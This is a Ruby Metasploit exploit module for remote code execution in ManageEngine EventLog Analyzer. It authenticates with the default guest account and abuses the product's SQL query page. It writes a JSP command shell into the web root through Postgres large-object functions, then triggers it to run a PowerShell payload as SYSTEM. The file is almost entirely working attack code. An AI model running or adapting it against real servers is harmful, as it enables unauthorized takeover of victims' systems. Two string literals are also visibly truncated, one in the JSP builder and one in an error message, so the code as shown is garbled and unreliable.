require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
'Description'=> %q{
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
build 10060 and previous versions. Every authenticated user, including the default "guest"
account can execute SQL queries directly on the underlying Postgres database server. The
queries are executed as the "postgres" user which has full privileges and thus is able to
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
privileges on the web server. This module has been tested successfully on ManageEngine
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'References' =>
[
['EDB', '38173']
],
'Platform' => ['win'],
'Arch' => ARCH_X86,
'Targets'=>
[
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 11 2015',
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(8400),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
], self.class)
end
def uri
target_uri.path
end
def check
vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(uri, 'event', 'index3.do')
})
if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def sql_query(cookies, query)
res = send_request_cgi({
'method' => 'POST',
'uri'=> normalize_uri(uri, 'event', 'runQuery.do'),
'cookie' => cookies,
'vars_post' => {
'execute' => 'true',
'query' => query,
}
})
unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
end
res
end
def generate_jsp_payload(cmd)
decoder = rand_text_alpha(4 + rand(32 - 4))
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
cmd_array = rand_text_alpha(4 + rand(32 - 4))
jsp_code = '<%'
jsp_code <<"sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"
jsp_code << "String [] #{cmd_array} = new String[3];\n"
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
jsp_code << '%>'
jsp_code
end
def exploit
print_status("#{peer} - Retrieving JSESSION ID")
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(uri, 'event', 'index3.do'),
})
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
jsessionid = $1
print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
end
print_status("#{peer} - Access login page")
res = send_request_cgi({
'method' => 'POST',
'uri'=> normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
'vars_post' => {
'forChecking' => 'null',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'domains' => "Local Authentication\r\n",
'loginButton' => 'Login',
'optionValue' => 'hide'
}
})
if res && res.code == 302
redirect =URI(res.headers['Location'])
print_status("#{peer} - Location is [ #{redirect} ]")
else
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
end
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET'
})
if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
cookies = res.get_cookies
print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
else
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
end
jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')
print_status("#{peer} - Executing SQL queries")
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)
sql = 'SELECT lo_create(-1)'
result = sql_query(cookies, sql)
if result.body =~ /menuItemRow\">([0-9]+)/
loid = $1
else
fail_with(Failure::Unknown, "
end
select_random = rand_text_numeric(2 + rand(6 - 2))
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"
result = sql_query(cookies, sql)
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"
sql_query(cookies, sql)
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)
register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")
print_status("#{peer} - Executing JSP payload")
res = send_request_cgi({
'method' => 'GET',
'uri'=> normalize_uri(uri, jsp_name),
})
unless res && res.code == 200
print_status("#{res.code}\n#{res.body}")
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
end
end
end